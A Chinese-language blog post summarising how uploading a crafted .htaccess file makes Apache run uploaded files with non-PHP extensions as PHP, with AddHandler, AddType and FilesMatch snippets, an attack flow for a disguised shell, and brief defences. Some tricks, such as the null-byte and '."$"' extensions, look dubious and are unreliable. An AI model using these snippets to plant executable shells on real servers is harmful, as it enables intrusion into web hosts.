.htaccess 文件上传漏洞绕过总结

.htaccess 文件上传漏洞绕过总结

核心原理

通过 .htaccess 文件修改服务器配置,将非常规扩展名解析为可执行脚本(如 PHP),绕过文件上传黑名单限制。


一、关键配置指令(图片内容分析)

图片中列出的扩展名MIME 类型可直接用于绕过:

apache 复制代码
# 将扩展名映射到 PHP 解析器
AddHandler application/x-httpd-php .rhtml .phtml .pht .phps .php3 .php3p .php4 .php5

# 或使用 AddType
AddType application/x-httpd-php .phtml .php3 .phps

二、扩展绕过技巧(实战增强)

1. 非常规扩展名
apache 复制代码
AddHandler application/x-httpd-php .abc .xyz .shell .test

效果 :上传 shell.abc 会被当作 PHP 执行。

2. 双扩展名绕过
apache 复制代码
AddHandler application/x-httpd-php .jpg.xyz

效果image.jpg.xyz 会被解析为 PHP。

3. 空字节截断(旧系统)
apache 复制代码
AddHandler application/x-httpd-php .php%00

效果 :上传 shell.php%00.jpg 可能被解析为 PHP(需 PHP<5.3)。

4. 大小写混淆
apache 复制代码
AddHandler application/x-httpd-php .PhP5 .pHtML

效果 :绕过对 php 的大小写检查。

5. 特殊前缀/后缀
apache 复制代码
AddHandler application/x-httpd-php .user.ini

效果 :利用 .user.iniauto_prepend_file 执行代码。


三、MIME 类型绕过

apache 复制代码
# 伪造图片 MIME 类型
AddType application/x-httpd-php .jpg .png

# 或直接覆盖默认类型
RemoveHandler .jpg
AddHandler application/x-httpd-php .jpg

四、高级组合技

1. 嵌套解析绕过
apache 复制代码
<FilesMatch "\.hack$">
  SetHandler application/x-httpd-php
</FilesMatch>

效果 :所有 .hack 文件被解析为 PHP。

2. 动态扩展名
apache 复制代码
AddHandler application/x-httpd-php ."$"

效果:利用环境变量动态生成扩展名(需服务器支持)。


五、防御建议(管理员视角)

  1. 禁用 .htaccess 覆盖

    apache 复制代码
    AllowOverride None
  2. 限制上传目录执行权限

    apache 复制代码
    <Directory "/uploads">
       php_flag engine off
    </Directory>
  3. 严格文件类型检查

    • 使用白名单验证扩展名 + MIME 类型 + 文件头签名。

总结流程图

复制代码
上传 .htaccess 文件
  │
  ├── 添加恶意扩展名(.phtml, .php5)
  │
  ├── 伪造 MIME 类型(image/jpg → PHP)
  │
  └── 上传伪装文件(shell.jpg.php5)
       │
       └── 服务器解析执行

通过灵活组合扩展名、MIME 类型和服务器配置规则,可绕过大多数基于黑名单的文件上传防护。

相关推荐
ylscode5 小时前
Windows 内核惊现高危提权漏洞 CVE-2026-40369:沙箱隔离失效,SYSTEM 权限唾手可得
网络·安全·安全威胁分析
李子琪。6 小时前
网络空间安全深度实战:CSRF 漏洞原理剖析与基于 Token 的纵深防御体系构建(全栈实验报告)
前端·安全·csrf
AugustRed6 小时前
Linux 运维常用命令大全(超全速查表)
运维·网络·php
三无推导7 小时前
ComfyUI 安装部署教程:Windows 下快速搭建可视化 AI 绘图工作流,零基础也能跑通
人工智能·pytorch·windows·stable diffusion·aigc·ai绘画·持续部署
黎阳之光8 小时前
数智透明·安全兜底|黎阳之光透明矿山,AI+数字孪生守护矿山生命线
人工智能·物联网·算法·安全·数字孪生
Xpower 179 小时前
MCP 服务器暴露在公网:AI Agent 工具层正在变成新的安全边界
服务器·人工智能·安全
2601_956456349 小时前
2026跨境多账号防封指南:四大指纹浏览器多维深度横测,哪款指纹浏览器适合推荐?
人工智能·安全
风落无尘9 小时前
第十一章《对齐与安全》 完整学习资料
python·安全·机器学习
JGDT_9 小时前
端侧优化与企业落地挑战:Token成本与安全边界
安全
nnsix10 小时前
PS【PhotoShop】实现拷贝到Windows粘贴板上
windows